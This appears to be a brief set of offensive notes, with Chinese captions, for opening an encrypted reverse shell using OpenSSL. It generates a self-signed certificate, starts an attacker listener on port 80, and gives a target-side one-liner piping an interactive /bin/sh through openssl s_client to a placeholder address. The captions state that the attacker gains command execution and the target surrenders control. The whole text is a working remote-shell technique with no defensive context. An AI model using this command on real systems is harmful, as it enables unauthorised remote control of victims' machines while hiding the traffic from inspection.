openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

openssl s_server -quiet -key key.pem -cert cert.pem -port 80
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect X.X.X.X:80 > /tmp/s; rm /tmp/s
攻击机可进行命令执行

靶机交出控制权
